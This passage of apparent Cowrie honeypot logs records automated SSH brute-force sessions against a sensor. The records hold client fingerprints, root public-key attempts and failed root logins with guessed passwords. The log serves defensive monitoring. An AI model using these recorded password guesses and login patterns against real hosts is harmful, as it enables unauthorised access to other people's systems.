hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:17.194513Z","src_ip":"103.77.242.62","session":"c25c2c2a6557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06061987","message":"login attempt [root/06061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:17.933962Z","src_ip":"103.77.242.62","session":"c25c2c2a6557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:19.184033Z","src_ip":"103.77.242.62","session":"c25c2c2a6557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.3.80","src_port":43690,"dst_ip":"10.17.0.5","dst_port":22,"session":"1899a18b4314","protocol":"ssh","message":"New connection: 141.95.3.80:43690 (10.17.0.5:22) [session: 1899a18b4314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.213872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.218518Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.307941Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:e4:c8:2b:28:d0:2a:13:a8:e1:98:a1:d6:ad:ca:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSMmSsz/LwdiCik8wlKXn2v/sJwRmqjCA+i2aUFCtm0","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e5:e4:c8:2b:28:d0:2a:13:a8:e1:98:a1:d6:ad:ca:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.759409Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:e4:c8:2b:28:d0:2a:13:a8:e1:98:a1:d6:ad:ca:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSMmSsz/LwdiCik8wlKXn2v/sJwRmqjCA+i2aUFCtm0","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.762999Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:c6:bb:cf:9d:e9:44:7f:66:0b:8f:49:a4:f5:f5:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSMC9Dtxz2LBSTWqa/xKk+kzEnzyjvKWKKvPa6SO9pRF9MPuAjC3cngZje9RJn2V++ZUJYpUlYGsnLK3xvdrOHI+Lhf2EJRPb70b891WCYyYSuJ/3SEF2qGHe4TThC4KxgIsRhFHdHbXty6welVNB+OiseABCN5oRH2FOALHarr9XCQCPAFReuz1E1LRMcTI4VBQv8gjOuI4wOPBvrl4KlIKl91/iUAA4G1D7VwinQ+2g8ZhKxwMBkSEsi1LHutJtyDrPiLdXjAbanJkSqq3PnAGjQD7Q5lrhIzdPepjQsA+6HHC2DgeU+ZrMLqRHsdwmOTy47WmanuSEjiVdqnoPDqM/VxfpVqLrvONSKp1WaHN+ODlKb8+eZaeDA7THfBQC+krAhuundSCk0ykvakQR0EBl+LF3nbmegX44NGPljRxJ5TF4r75vTJ+RKA/+Db6cL5QzusHB1ApdbsxQiXm3hBQkwKIn4T8jUp8vX9tr6ipbBzp0eAOaZ47C11mbukN1RCsJltPVFpXhaPTqrsk/u7Pc7KuofcMPYT6BXezZwUUYUwFz4dpWO8T+3tKl1mYOI/tN94n/1g51+xmQWNc78D9UgJuoyxWx5vUkD1quEISojRVI1oGoirUCNe0Ez5OLAdgCD1aQYaer3L0jdrkj3870khRFl41VajXSY5MoQjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:c6:bb:cf:9d:e9:44:7f:66:0b:8f:49:a4:f5:f5:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.853424Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:c6:bb:cf:9d:e9:44:7f:66:0b:8f:49:a4:f5:f5:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSMC9Dtxz2LBSTWqa/xKk+kzEnzyjvKWKKvPa6SO9pRF9MPuAjC3cngZje9RJn2V++ZUJYpUlYGsnLK3xvdrOHI+Lhf2EJRPb70b891WCYyYSuJ/3SEF2qGHe4TThC4KxgIsRhFHdHbXty6welVNB+OiseABCN5oRH2FOALHarr9XCQCPAFReuz1E1LRMcTI4VBQv8gjOuI4wOPBvrl4KlIKl91/iUAA4G1D7VwinQ+2g8ZhKxwMBkSEsi1LHutJtyDrPiLdXjAbanJkSqq3PnAGjQD7Q5lrhIzdPepjQsA+6HHC2DgeU+ZrMLqRHsdwmOTy47WmanuSEjiVdqnoPDqM/VxfpVqLrvONSKp1WaHN+ODlKb8+eZaeDA7THfBQC+krAhuundSCk0ykvakQR0EBl+LF3nbmegX44NGPljRxJ5TF4r75vTJ+RKA/+Db6cL5QzusHB1ApdbsxQiXm3hBQkwKIn4T8jUp8vX9tr6ipbBzp0eAOaZ47C11mbukN1RCsJltPVFpXhaPTqrsk/u7Pc7KuofcMPYT6BXezZwUUYUwFz4dpWO8T+3tKl1mYOI/tN94n/1g51+xmQWNc78D9UgJuoyxWx5vUkD1quEISojRVI1oGoirUCNe0Ez5OLAdgCD1aQYaer3L0jdrkj3870khRFl41VajXSY5MoQjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.856664Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:63:38:1e:1c:ea:54:d1:41:ce:91:6d:75:77:7b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsLCx0lR0TjQzcHBCaOVRat5ZDCIhEHh6VjucZMY+p+6OfdyTg7ZRJF4pqtUg1UmuHsT9RwMsZNp0siTbcSvoDdcHd1d8g7y9rjyI6UdbZc6R5j49u/MCDY68YdduzuM/thDj4xb20d3AZKJRA5Gxi2HtUtUOdSYsjh2+IJaYrXnqU5kQnUYQpDEm5EkjeswMCuZ18GUprlJe9m8Xkp5pkqjh7bAiDO5Q+lI4PKSVdK/hpNms99yGkLDBZ6XIsE0RN0jCxfftF6PwUo11aj5MUC3UtWhxGQ0OcrFZn/NcC+R/dFY7A/i9Jjz1AELgz/CGBxqQkgGe47Pqc2y1SW4yx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:63:38:1e:1c:ea:54:d1:41:ce:91:6d:75:77:7b:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.952204Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:63:38:1e:1c:ea:54:d1:41:ce:91:6d:75:77:7b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsLCx0lR0TjQzcHBCaOVRat5ZDCIhEHh6VjucZMY+p+6OfdyTg7ZRJF4pqtUg1UmuHsT9RwMsZNp0siTbcSvoDdcHd1d8g7y9rjyI6UdbZc6R5j49u/MCDY68YdduzuM/thDj4xb20d3AZKJRA5Gxi2HtUtUOdSYsjh2+IJaYrXnqU5kQnUYQpDEm5EkjeswMCuZ18GUprlJe9m8Xkp5pkqjh7bAiDO5Q+lI4PKSVdK/hpNms99yGkLDBZ6XIsE0RN0jCxfftF6PwUo11aj5MUC3UtWhxGQ0OcrFZn/NcC+R/dFY7A/i9Jjz1AELgz/CGBxqQkgGe47Pqc2y1SW4yx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:26.954592Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:de:66:c7:07:90:88:e7:f0:37:a9:03:96:14:32:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPzyGu0nQQEgjDACO+xrKzNf2c1S6zthB8MrTCNT6Tb3l8xIsN8VEtAHYvMdmvl/SkHWLsgYziWevw/b3q2HiIQFfzcC18zvK2mhujysd8aKn3fI/kA53H6qOvp3zI1rWqW/WHWfVQqUh4Ti2I/KRrt7usOtofbwwE36qGnCFrDMYGHU2JJLssM21fHW1VzGBTSYbAZmknvlZnaY4VlxT0/tKa+R9VSbJCaiCgOJ5g040Tw9mpPzEtrrT5bpsVUsFbZG/7hTiVt12IYy0q5iJiGb/lAHZWZa+Tq8HGaVU5FT1lrOcVH/rae8qUzvAzWPEm243PnnOJByi38oCr6ENt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:de:66:c7:07:90:88:e7:f0:37:a9:03:96:14:32:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:27.043848Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:de:66:c7:07:90:88:e7:f0:37:a9:03:96:14:32:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPzyGu0nQQEgjDACO+xrKzNf2c1S6zthB8MrTCNT6Tb3l8xIsN8VEtAHYvMdmvl/SkHWLsgYziWevw/b3q2HiIQFfzcC18zvK2mhujysd8aKn3fI/kA53H6qOvp3zI1rWqW/WHWfVQqUh4Ti2I/KRrt7usOtofbwwE36qGnCFrDMYGHU2JJLssM21fHW1VzGBTSYbAZmknvlZnaY4VlxT0/tKa+R9VSbJCaiCgOJ5g040Tw9mpPzEtrrT5bpsVUsFbZG/7hTiVt12IYy0q5iJiGb/lAHZWZa+Tq8HGaVU5FT1lrOcVH/rae8qUzvAzWPEm243PnnOJByi38oCr6ENt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:27.047098Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:a2:ec:16:49:db:ba:69:84:00:ba:b4:51:7a:a4:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBbcU5QhK8Dg59R7+8faOS1cB9lj6RLTxTCMvkDLBirc6NCtFk/itNy7jNOrRQe6w6H0ZjMhnhcp6G0CAUo80YMSs280dPrBOtDk2GAl2qvCrNfCdUvGUG5O5R6wx/t/lj5mqK76k+SwQ624Gm3tEc+Tj04ZcbKDzqOCHgWn+aRW9bdyl7+bFKbJd0fgAispuKLCYrFJuzV2HlqpbhDooEiyR0N7bgW8+FzJ3po8MzK3383+jVmekm34WX3mjHKxWWn//5Gokrz5pMfiP4g1KpjoZITxGMbeWTqp/Q5D++nqyE+3gkBCC5kCLEipTh9M7xa8GjzOS5XKzOCkbTN6jaqzKhulUeisjVQ8t382xRXH7N8EQPAz1KUIDqR+IQy5+k809qUJ1mfJwDOgFMADsQ2Q3v/kJdC2wyshtwcVK9v0RbRNHCu9QlZBsGt8ipjnHqpUDXbfLrJ9t56Zqu8v4Ru6FNGchVaGeQWG6AFoBPTf7UIdVcb9f1liIkDFZgdns=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:a2:ec:16:49:db:ba:69:84:00:ba:b4:51:7a:a4:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:27.157542Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:a2:ec:16:49:db:ba:69:84:00:ba:b4:51:7a:a4:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBbcU5QhK8Dg59R7+8faOS1cB9lj6RLTxTCMvkDLBirc6NCtFk/itNy7jNOrRQe6w6H0ZjMhnhcp6G0CAUo80YMSs280dPrBOtDk2GAl2qvCrNfCdUvGUG5O5R6wx/t/lj5mqK76k+SwQ624Gm3tEc+Tj04ZcbKDzqOCHgWn+aRW9bdyl7+bFKbJd0fgAispuKLCYrFJuzV2HlqpbhDooEiyR0N7bgW8+FzJ3po8MzK3383+jVmekm34WX3mjHKxWWn//5Gokrz5pMfiP4g1KpjoZITxGMbeWTqp/Q5D++nqyE+3gkBCC5kCLEipTh9M7xa8GjzOS5XKzOCkbTN6jaqzKhulUeisjVQ8t382xRXH7N8EQPAz1KUIDqR+IQy5+k809qUJ1mfJwDOgFMADsQ2Q3v/kJdC2wyshtwcVK9v0RbRNHCu9QlZBsGt8ipjnHqpUDXbfLrJ9t56Zqu8v4Ru6FNGchVaGeQWG6AFoBPTf7UIdVcb9f1liIkDFZgdns=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:27.161511Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:27.254373Z","src_ip":"141.95.3.80","session":"1899a18b4314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77689b76277","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: b77689b76277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:26.121271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:26.126639Z","src_ip":"23.97.62.150","session":"b77689b76277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:26.363185Z","src_ip":"23.97.62.150","session":"b77689b76277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rocky1234","message":"login attempt [root/rocky1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:27.066937Z","src_ip":"23.97.62.150","session":"b77689b76277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59362,"dst_ip":"159.203.135.109","dst_port":22,"session":"76cb1dab1049","protocol":"ssh","message":"New connection: 193.228.128.84:59362 (159.203.135.109:22) [session: 76cb1dab1049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:28.028196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:28.033008Z","src_ip":"193.228.128.84","session":"76cb1dab1049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:28.135621Z","src_ip":"193.228.128.84","session":"76cb1dab1049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:28.303900Z","src_ip":"23.97.62.150","session":"b77689b76277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asnaeb","message":"login attempt [root/asnaeb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:28.449717Z","src_ip":"193.228.128.84","session":"76cb1dab1049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:29.555016Z","src_ip":"193.228.128.84","session":"76cb1dab1049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.125","src_port":44116,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ea491a402bd","protocol":"ssh","message":"New connection: 208.87.243.125:44116 (10.17.0.5:22) [session: 2ea491a402bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.046491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.052068Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.138798Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:26:f4:14:c6:1f:79:47:50:6c:7c:49:a6:84:f5:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUaHEQmzyRUEP7NQ6fX5H6KuCaXI8eMS8A1WiaJMeD+Wl0Ikd1WJ7cb3qlTEW8F7tiCqqhgwob0wht4njmS0Q0OxyMxq8tAcI0PyDkuSIS9OdabmQ/5PbQuQzdN7ATD+TU2tLMge7H7j25C6RyBYHJVgsThAYfq/0c4CoOCMk9e6aRjrsFnXNc8CMS0A/bo5e9tYeCzvJijpu6OVV3dtuauJfyOYl4v9LK4qNwmGB6elwsgEmQWC/A/UhQSYkXEfOUlrrCwwRzzniEX/4dwYXvXOi1PukSbIGezCUvMGRdu6bpd8sCeyAifglf8ETLlT9l+zGSH3SG/UCNTpUq8RSb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:26:f4:14:c6:1f:79:47:50:6c:7c:49:a6:84:f5:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.534796Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
